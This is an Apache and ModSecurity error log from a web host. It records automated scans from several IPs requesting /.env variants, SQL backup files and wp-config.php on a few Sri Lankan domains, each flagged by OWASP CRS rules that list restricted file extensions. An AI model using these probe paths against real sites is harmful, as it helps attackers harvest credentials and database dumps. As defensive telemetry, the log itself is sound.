[Fri Jul 17 08:28:30.783245 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/backup.sql"] [unique_id "almaVhAi3pC6yjXGNq19WgAAAAU"]
[Fri Jul 17 08:28:30.783625 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/backup.sql"] [unique_id "almaVhAi3pC6yjXGNq19WgAAAAU"]
[Fri Jul 17 08:28:30.783717 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env"] [unique_id "almaVnf2WrySr2miwA73hgAAABY"]
[Fri Jul 17 08:28:30.783969 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env"] [unique_id "almaVnf2WrySr2miwA73hgAAABY"]
[Fri Jul 17 08:28:30.784020 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/backup.sql"] [unique_id "almaVhAi3pC6yjXGNq19WgAAAAU"]
[Fri Jul 17 08:28:30.784382 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env"] [unique_id "almaVnf2WrySr2miwA73hgAAABY"]
[Fri Jul 17 08:28:30.930448 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 34.228.26.184:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:28:31.045288 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/database.sql"] [unique_id "almaVwdFk8dCrY-oJNkdGQAAACA"]
[Fri Jul 17 08:28:31.045690 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/database.sql"] [unique_id "almaVwdFk8dCrY-oJNkdGQAAACA"]
[Fri Jul 17 08:28:31.046172 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/database.sql"] [unique_id "almaVwdFk8dCrY-oJNkdGQAAACA"]
[Fri Jul 17 08:28:31.070871 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaV1h1WDijTxd1xw5I_AAAAAc"]
[Fri Jul 17 08:28:31.071298 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaV1h1WDijTxd1xw5I_AAAAAc"]
[Fri Jul 17 08:28:31.071620 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaV1h1WDijTxd1xw5I_AAAAAc"]
[Fri Jul 17 08:28:31.198171 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaV41dLClkUfK_dfHhmQAAAAI"]
[Fri Jul 17 08:28:31.198367 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaV41dLClkUfK_dfHhmQAAAAI"]
[Fri Jul 17 08:28:31.198591 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaV41dLClkUfK_dfHhmQAAAAI"]
[Fri Jul 17 08:28:31.200167 2026] [security2:error] [pid 2014321:tid 2014321] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaV9bqW6u97-NXXfOr3gAAACE"]
[Fri Jul 17 08:28:31.200453 2026] [security2:error] [pid 2014321:tid 2014321] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaV9bqW6u97-NXXfOr3gAAACE"]
[Fri Jul 17 08:28:31.201859 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaVw7FYe46zHK_jL3MbAAAABk"]
[Fri Jul 17 08:28:31.202170 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaVw7FYe46zHK_jL3MbAAAABk"]
[Fri Jul 17 08:28:31.286394 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaV-N_HRgVfO4akvmJ0wAAABg"]
[Fri Jul 17 08:28:31.286453 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaV90t9Kb_MdNxrg6-0wAAAAM"]
[Fri Jul 17 08:28:31.288647 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaV90t9Kb_MdNxrg6-0wAAAAM"]
[Fri Jul 17 08:28:31.289527 2026] [security2:error] [pid 1996894:tid 1996894] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaV44Wmn5zySdNNkAk4QAAABM"]
[Fri Jul 17 08:28:31.289776 2026] [security2:error] [pid 1996894:tid 1996894] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaV44Wmn5zySdNNkAk4QAAABM"]
[Fri Jul 17 08:28:31.295133 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaV-N_HRgVfO4akvmJ0wAAABg"]
[Fri Jul 17 08:28:31.298829 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/db.sql"] [unique_id "almaVwPhWp7RzB65h36e3QAAAA0"]
[Fri Jul 17 08:28:31.299566 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/db.sql"] [unique_id "almaVwPhWp7RzB65h36e3QAAAA0"]
[Fri Jul 17 08:28:31.300262 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/db.sql"] [unique_id "almaVwPhWp7RzB65h36e3QAAAA0"]
[Fri Jul 17 08:28:31.305264 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env"] [unique_id "almaV3f2WrySr2miwA73hwAAABY"]
[Fri Jul 17 08:28:31.305546 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env"] [unique_id "almaV3f2WrySr2miwA73hwAAABY"]
[Fri Jul 17 08:28:31.307359 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaVxAi3pC6yjXGNq19WwAAAAU"]
[Fri Jul 17 08:28:31.307609 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaVxAi3pC6yjXGNq19WwAAAAU"]
[Fri Jul 17 08:28:31.310668 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaVzRCJXF37-WnVv0isAAAABI"]
[Fri Jul 17 08:28:31.310993 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaVzRCJXF37-WnVv0isAAAABI"]
[Fri Jul 17 08:28:31.320031 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
